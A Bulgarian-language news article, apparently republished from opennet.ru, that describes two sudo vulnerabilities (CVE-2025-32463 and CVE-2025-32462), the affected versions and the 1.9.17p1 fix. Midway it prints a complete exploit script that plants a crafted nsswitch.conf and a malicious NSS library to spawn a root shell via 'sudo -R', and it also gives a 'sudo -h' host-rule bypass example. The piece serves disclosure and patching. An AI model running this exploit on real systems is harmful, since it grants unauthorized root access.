Уязвимости Π² ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π°Ρ‚Π° sudo, позволяващи ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° root ΠΏΡ€Π°Π²Π° Π² систСмата

Π’ ΠΏΠ°ΠΊΠ΅Ρ‚Π° sudo, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π·Π° ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡ‚ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ, Π΅ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚Π° уязвимост (CVE-2025-32463), която позволява Π½Π° всСки Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π» Π΄Π° изпълнява ΠΊΠΎΠ΄ с ΠΏΡ€Π°Π²Π° Π½Π° root, Π΄ΠΎΡ€ΠΈ Π°ΠΊΠΎ потрСбитСлят Π½Π΅ Π΅ спомСнат Π² конфигурацията sudoers. Уязвимостта засяга дистрибуции, ΠΊΠΎΠΈΡ‚ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΎΠ½Π΅Π½ Ρ„Π°ΠΉΠ» /etc/nsswitch.conf, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° Π² Ubuntu 24.04 ΠΈ Fedora 41.

Уязвимостта сС проявява Π² конфигурацията ΠΏΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅ ΠΈ Π΅ ΠΏΠΎΡ‚Π²ΡŠΡ€Π΄Π΅Π½Π° Π² вСрсиитС Π½Π° sudo ΠΎΡ‚ 1.9.14 Π΄ΠΎ 1.9.17 (ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»Π½ΠΎ засяга всички вСрсии, Π·Π°ΠΏΠΎΡ‡Π²Π°Ρ‰ΠΈ ΠΎΡ‚ 1.8.33). ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ Π΅ отстранСн Π² актуализацията Π½Π° sudo 1.9.17p1. Π‘ΡŠΡΡ‚ΠΎΡΠ½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Π½ΠΎΠ²Π°Ρ‚Π° вСрсия Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚Π° ΠΈΠ»ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅Ρ‚ΠΎ Π½Π° ΠΏΠΎΠΏΡ€Π°Π²ΠΊΠ° Π² дистрибуциитС ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈ Π½Π° слСднитС страници (Π°ΠΊΠΎ страница Π½Π΅ Π΅ Π΄ΠΎΡΡ‚ΡŠΠΏΠ½Π°, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈΡ‚Π΅ Π½Π° дистрибуцията всС ΠΎΡ‰Π΅ Π½Π΅ са Π·Π°ΠΏΠΎΡ‡Π½Π°Π»ΠΈ Ρ€Π°Π±ΠΎΡ‚Π° ΠΏΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo ΠΈ Arch (1, 2).

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ‚Π° възниква, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ ΠΏΡ€ΠΈ ΠΏΡ€ΠΈΠ»Π°Π³Π°Π½Π΅ Π½Π° опцията Β«-RΒ» (Β«β€”chrootΒ») Π·Π° стартиранС Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π² chroot ΠΎΠΊΠΎΠ»Π½Π° срСда с ΠΈΠ·Π±Ρ€Π°Π½ ΠΊΠΎΡ€Π΅Π½ΠΎΠ² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ Π½Π° потрСбитСля, Ρ„Π°ΠΉΠ»ΡŠΡ‚ /etc/nsswitch.conf сС Π·Π°Ρ€Π΅ΠΆΠ΄Π° Π² контСкста Π½Π° новия ΠΊΠΎΡ€Π΅Π½ΠΎΠ² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Π° Π½Π΅ Π½Π° систСмния ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³. Въй ΠΊΠ°Ρ‚ΠΎ потрСбитСлят ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° собствСн ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ ΠΊΠ°Ρ‚ΠΎ ΠΊΠΎΡ€Π΅Π½ΠΎΠ² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ Π·Π° chroot, Ρ‚ΠΎΠΉ ΠΌΠΎΠΆΠ΅ Π΄Π° постави Ρ‚Π°ΠΌ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΎΠ½Π΅Π½ Ρ„Π°ΠΉΠ» nsswitch.conf. ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€Π°ΠΉΠΊΠΈ зарСТдания Ρ„Π°ΠΉΠ» ΠΎΡ‚ подсистСмата NSS (Name Service Switch), потрСбитСлят ΠΌΠΎΠΆΠ΅ Π΄Π° Π΄ΠΎΠ±Π°Π²ΠΈ настройки, Π²ΠΎΠ΄Π΅Ρ‰ΠΈ Π΄ΠΎ ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅ Π½Π° Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π²Π°Ρ‡ΠΈ. Подобни ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π²Π°Ρ‡ΠΈ сС Π·Π°Ρ€Π΅ΠΆΠ΄Π°Ρ‚ ΠΎΡ‚ NSS ΠΏΠΎΠ΄ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π½Π° сподСлСни Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΡΡŠΡ‰ΠΎ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ поставСни Π² контролирания ΠΎΡ‚ потрСбитСля ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³. ПодмСняйки своята Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°, потрСбитСлят ΠΌΠΎΠΆΠ΅ Π΄Π° постигнС изпълнСниС Π½Π° ΠΊΠΎΠ΄ с root ΠΏΡ€Π°Π²Π°, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°Ρ‚Π° Π½Π° NSS сС ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π° ΠΏΡ€Π΅Π΄ΠΈ ΠΎΡ‚Π½Π΅ΠΌΠ°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ.

ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° Сксплоит: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c <<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

Π’ вСрсия 1.9.17p1 Π½Π° sudo ΡΡŠΡ‰ΠΎ Π΅ отстранСна ΠΎΡ‰Π΅ Π΅Π΄Π½Π° уязвимост (CVE-2025-32462), която позволява Π΄Π° сС ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ с ΠΏΡ€Π°Π²Π° root, Π½ΠΎ сС проявява само Π² ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ Π½Π° sudoers, ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€ΡŠΡ‚ Β«hostΒ» Π΅ Π·Π°Π΄Π°Π΄Π΅Π½ Π½Π° стойност, Ρ€Π°Π·Π»ΠΈΡ‡Π½Π° ΠΎΡ‚ ALL ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° тСкущия хост. Уязвимостта Π΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½Π° ΠΎΡ‚ Π³Ρ€Π΅ΡˆΠΊΠ°, ΠΏΠΎΡ€Π°Π΄ΠΈ която опцията Β«-hΒ» (Β«β€”hostΒ») Π΄Π΅ΠΉΡΡ‚Π²Π°ΡˆΠ΅ Π½Π΅ само Π² комбинация с опцията Β«-lΒ» (Β«β€”listΒ») Π·Π° ΠΈΠ·Π²Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈΡ‚Π΅, ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈ с хост, Π½ΠΎ ΠΈ ΠΏΡ€ΠΈ изпълнСниС Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ. По Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½ потрСбитСлят моТСшС Π΄Π° Π·Π°Π΄Π°Π΄Π΅ ΠΏΡ€ΠΈ ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅Ρ‚ΠΎ Π½Π° sudo ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π΅Π½ хост ΠΈ Π΄Π° Π·Π°ΠΎΠ±ΠΈΠΊΠΎΠ»ΠΈ ограничСнията Π² ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ‚Π° sudoers, ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈ с ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° хоста.

Π—Π° Π΄Π° ΠΈΠ·Π²ΡŠΡ€ΡˆΠΈ Π°Ρ‚Π°ΠΊΠ°Ρ‚Π°, потрСбитСлят трябва Π΄Π° бъдС ΡƒΠΏΠΎΠΌΠ΅Π½Π°Ρ‚ Π² sudoers; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π°ΠΊΠΎ Π² настройкитС Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Β«testuser testhost = ALLΒ», Ρ‚ΠΎ потрСбитСлят Β«testuserΒ» моТСшС Π΄Π° Π·Π°Π΄Π°Π΄Π΅ Β«sudo -h testhostΒ» ΠΈ Π΄Π° стартира ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ с ΠΏΡ€Π°Π²Π° root Π½Π° всякакви хостовС, Π° Π½Π΅ само Π½Π° хоста testhost. Уязвимостта Π½Π΅ засяга ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ с настройки ΠΎΡ‚ Π²ΠΈΠ΄Π° Β«testuser ALL = ALLΒ» ΠΈΠ»ΠΈ Π±Π΅Π· явни ΠΏΡ€Π°Π²ΠΈΠ»Π° Π·Π° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π΅Π½ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π».

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС с Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ πŸ”₯ ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС с Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ | ProHoster